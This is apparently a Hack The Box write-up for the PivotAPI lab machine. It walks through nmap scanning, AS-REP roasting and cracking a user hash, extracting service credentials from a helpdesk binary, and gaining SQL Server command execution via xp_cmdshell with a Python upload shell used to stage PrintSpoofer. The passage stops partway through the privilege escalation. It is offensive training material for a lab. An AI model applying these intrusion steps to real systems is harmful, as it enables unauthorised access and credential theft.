┌──(root💀kali)-[~] └─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.10.240 PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-05-14 15:22:56Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49673/tcp open unknown 49699/tcp open msrpc Microsoft Windows RPC 49824/tcp open msrpc Microsoft Windows RPC Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) $krb5asrep$23$Kaorz@LICORDEBELLOTA:eb29c5c46df33d07e2d227251bb18905$f3ec59e49c5a21b098153bf67756548491a8333d8680c27bd6f589e8801ec0c9c429e33646c9e2a4cf1bd716c67a2df12d531984a0cf6bf209c22eb84207fec76fe5dbe2358facd946d2db12a7baabf954ac8b431a11e5eee8edf410cd35bf7f47ca789af7c4baf91712f079143e148a1e30d873a2011df279d63ba9b53e331cc2c61c2a3b2d3e6ec036585b47808e3e557958ef6c2eb888037f0ddcef34a7346fc367f0b5dce1a890d09fbc584c1f84e75457a7f5a10b682e7443598a60d42b8495d231135a35a2438f58771d9c9c445a3e5793ebbdd722e221bd8e6eb59e341b34f34edf24c89a81e3d2735a9a54f91de2c87f [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
We got the hash of Kaorz user let’s try to crack this hash with john.
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/hackthebox/machine/pivotapi] └─# john hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Roper4155 ($krb5asrep$23$Kaorz@LICORDEBELLOTA) 1g 0:00:00:12 DONE (2021-05-15 04:41) 0.08264g/s 881824p/s 881824c/s 881824C/s Rosesmlg1..Ronald8 Use the "--show" option to display all of the cracked passwords reliably Session completed
We have the username and a password Roper4155 let’s check the smb share if we have access of any shares.
Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Aug 8 05:42:28 2020 .. D 0 Sat Aug 8 05:42:28 2020 HelpDesk D 0 Sun Aug 9 10:40:36 2020
7779839 blocks of size 4096. 3497512 blocks available smb: \> cd HelpDesk smb: \HelpDesk\> ls . D 0 Sun Aug 9 10:40:36 2020 .. D 0 Sun Aug 9 10:40:36 2020 Restart-OracleService.exe A 1854976 Fri Feb 19 04:52:01 2021 Server MSSQL.msg A 24576 Sun Aug 9 06:04:14 2020 WinRM Service.msg A 26112 Sun Aug 9 06:42:20 2020
7779839 blocks of size 4096. 3497512 blocks available
We have three files in the HelpDesk Directory let’s get these all files into our system.
1 2 3 4 5 6 7 8 9 10
smb: \HelpDesk\> get Restart-OracleService.exe getting file \HelpDesk\Restart-OracleService.exe of size 1854976 as Restart-OracleService.exe (338.5 KiloBytes/sec) (average 338.5 KiloBytes/sec) smb: \HelpDesk\> get "Server MSSQL.msg" getting file \HelpDesk\Server MSSQL.msg of size 24576 as Server MSSQL.msg (67.6 KiloBytes/sec) (average 321.7 KiloBytes/sec) smb: \HelpDesk\> get "WinRM Service.msg" getting file \HelpDesk\WinRM Service.msg of size 26112 as WinRM Service.msg (71.8 KiloBytes/sec) (average 307.0 KiloBytes/sec) smb: \HelpDesk\> ^C ┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/HelpDesk] └──╼ [★]$ ls Restart-OracleService.exe 'Server MSSQL.msg''WinRM Service.msg'
Now for extracting the text inside .msg file we need msgconvert let’s first install that.
Date: Sun, 09 Aug 2020 11:04:14 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=16208820270.2cBBDf6.24456 Content-Transfer-Encoding: 7bit Subject: Server MSSQL To: cybervaca@licordebellota.htb <cybervaca@licordebellota.htb>
Good afternoon, Due to the problems caused by the Oracle database installed in 2010 in Windows, it has been decided to migrate to MSSQL at the beginning of 2020. Remember that there were problems at the time of restarting the Oracle service and for this reason a program called "Reset-Service.exe" was created to login to Oracle and restart the service. Any doubt do not hesitate to contact us. Greetings, The HelpDesk Team
WinRM Service.msg
1 2 3 4 5 6 7 8 9 10 11 12
Date: Sun, 09 Aug 2020 11:42:20 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=16208825850.f7f5B6.27939 Content-Transfer-Encoding: 7bit Subject: WinRM Service To: helpdesk@licordebellota.htb <helpdesk@licordebellota.htb>
Good afternoon. After the last pentest, we have decided to stop externally displaying WinRM's service. Several of our employees are the creators of Evil-WinRM so we do not want to expose this service... We have created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output (So that no shells of the type icmp are used.) Greetings, The HelpDesk Team
Now afer reading the both messages i known that Due to some problems by Oracle database installed in 2010 they migrate to MSSQL at the beginning of 2020.
And they also said that there was a problems at the time of restarting the Oracle service and for this reason a program called “Reset-Service.exe” was created to log in to Oracle and restart the service.
It’s mean that the “Reset-Service.exe” has creads for Oracle database becuase it’s need to login into oracle database and without creads it can’t be possible.
And the other message tell that they stop externally displaying WinRM’s service and they also created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output So that no shells of the type icmp are used.
Now let’s go to my Commando-VM and analize the binary.
I already transfer the binary into my Commando-VM.
First let’s monitor the binary with procmon so we known that what’s the binary doing.
If you analize the output you find that the binary create a file inside “AppData\Local\Temp" directory with the random name everytime and then it’s delete the bat file.
So for getting that random bat file we need to stop the binary before it’s delete that bat file So for that i use CMDWatcher.
CMD Watcher
Select the Interactive mode and then start the monitoring and then execute the binary.
Click resume the process.
You got the bat file location go to that location in your file manager.
Copy both file into your desktop in any folder.
I copy both files inside my desktop/files folder and then resume the process.
Now let’s analize the bat file.
Step 1
Remove all these if statement.
And add “goto correcto”.
Step 2
Now in bottom of the file remove these del statements.
After removing the del statements they look like this.
Now we good to go open a cmd and run that bat file to create the restart-service.exe.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
COMMANDO Fri 05/14/2021 7:41:07.78 C:\Users\DEDSEC\Desktop\files>dir Volume in drive C has no label. Volume Serial Number is 7EAC-CBDE
Directory of C:\Users\DEDSEC\Desktop\files
05/14/2021 07:25 AM <DIR> . 05/14/2021 07:25 AM <DIR> .. 05/14/2021 07:39 AM 1,729,970 542B.bat 05/14/2021 07:22 AM 0 542C.tmp 2 File(s) 1,729,970 bytes 2 Dir(s) 113,196,924,928 bytes free
Now let’s check if restart-service.exe is created or not.
And we got the restart-service.exe. I use API Monitor for analize this binary.
API Monitor
Check all API filters on the left side.
Now click on monitor new process and select the binary called restart-service.exe.
Now we capture all the proccess and calls so let’s analize this.
Found the username and password.
1 2
#Time of Day Thread Module API Return Value Error Duration CreateProcessWithLogonW ( "svc_oracle", "", "#oracle_s3rV1c3!2010", 0, NULL, ""c:\windows\system32\cmd.exe" /c sc.exe stop OracleServiceXE; sc.exe start OracleServiceXE", 0, NULL, "C:\ProgramData", 0x000000000234e120, 0x0000000003f61c68 ) FALSE 1326 = The user name or password is incorrect.
Now if you see nmap result there is a mssql port open let’s try to connect with that.
Password: [*] Encryption required, switching to TLS [-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Login failed for user 'svc_oracle'.
Login failed! it’s mean the username and password is not correct.
After that i read the Server MSSQL.msg again and i found that now they using mssql not oracle so we need to change the password from #oracle_s3rV1c3!2010 to #mssql_s3rV1c3!2020 because they migrate to MSSQL at the beginning of 2020.
And for the username i search on google for default mssql username and i found that.
So now the creads are sa:#mssql_s3rV1c3!2020 so now let’s try to login with these creads.
Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'. [*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press helpfor extra shell commands SQL> help
lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_start_job {cmd} - executes cmd using the sql server agent (blind) ! {cmd} - executes a local shell cmd SQL>
If we type help we can see that we can execute the xp_cmdshell {cmd} command let’s try that.
lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_start_job {cmd} - executes cmd using the sql server agent (blind) ! {cmd} - executes a local shell cmd SQL> xp_cmdshell whoami output
#!/usr/bin/env python3 from __future__ import print_function # Author: lUc1f3r11 # Use pymssql >= 1.0.3 (otherwise it doesn't work correctly) # To upload a file, type: UPLOAD local_path remote_path # e.g. UPLOAD myfile.txt C:\temp\myfile.txt # If you omit the remote_path it uploads the file on the current working folder. # Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512). import pymssql from pymssql import _mssql from pymssql import _pymssql import base64 import shlex import sys import tqdm import hashlib from io import open try: input = raw_input except NameError: pass from base64 import encodebytes
with open(local_path, 'rb') as f: data = f.read() md5sum = hashlib.md5(data).hexdigest() b64enc_data = b"".join(base64.b64encode(data).split()).decode()
print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB") for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"): cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"' mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'") #print("Remaining: "+str(len(b64enc_data)-i))
┌──(root💀kali)-[~/hackthebox/machine/pivotapi] └─# python3 shell.py Successful login: sa@10.10.10.240 Trying to enable xp_cmdshell ... CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> whoami nt service\mssql$sqlexpress CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> cd / CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> dir El volumen de la unidad C no tiene etiqueta. El número de serie del volumen es: B2F2-7E0A
Directorio de C:\
08/08/2020 19:23 <DIR> Developers 08/08/2020 12:53 <DIR> inetpub 08/08/2020 22:48 <DIR> PerfLogs 19/02/2021 14:42 <DIR> Program Files 09/08/2020 17:06 <DIR> Program Files (x86) 08/08/2020 19:46 <DIR> Users 29/04/2021 17:31 <DIR> Windows 0 archivos 0 bytes 7 dirs 14.177.931.264 bytes libres CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> mkdir temp CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> UPLOAD PrintSpoofer64.exe C:\temp\printspoofer.exe Uploading PrintSpoofer64.exe to C:\temp\printspoofer.exe Data length (b64-encoded): 35.3359375KB 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████| 40.0/40.0 [00:05<00:00, 6.84KB/s] Longitud de entrada = 36208 Longitud de salida = 27136 CertUtil: -decode comando completado correctamente. MD5 hashes match: 108da75de148145b8f056ec0827f1665 *** UPLOAD PROCEDURE FINISHED *** CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> cd temp CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> dir El volumen de la unidad C no tiene etiqueta. El número de serie del volumen es: B2F2-7E0A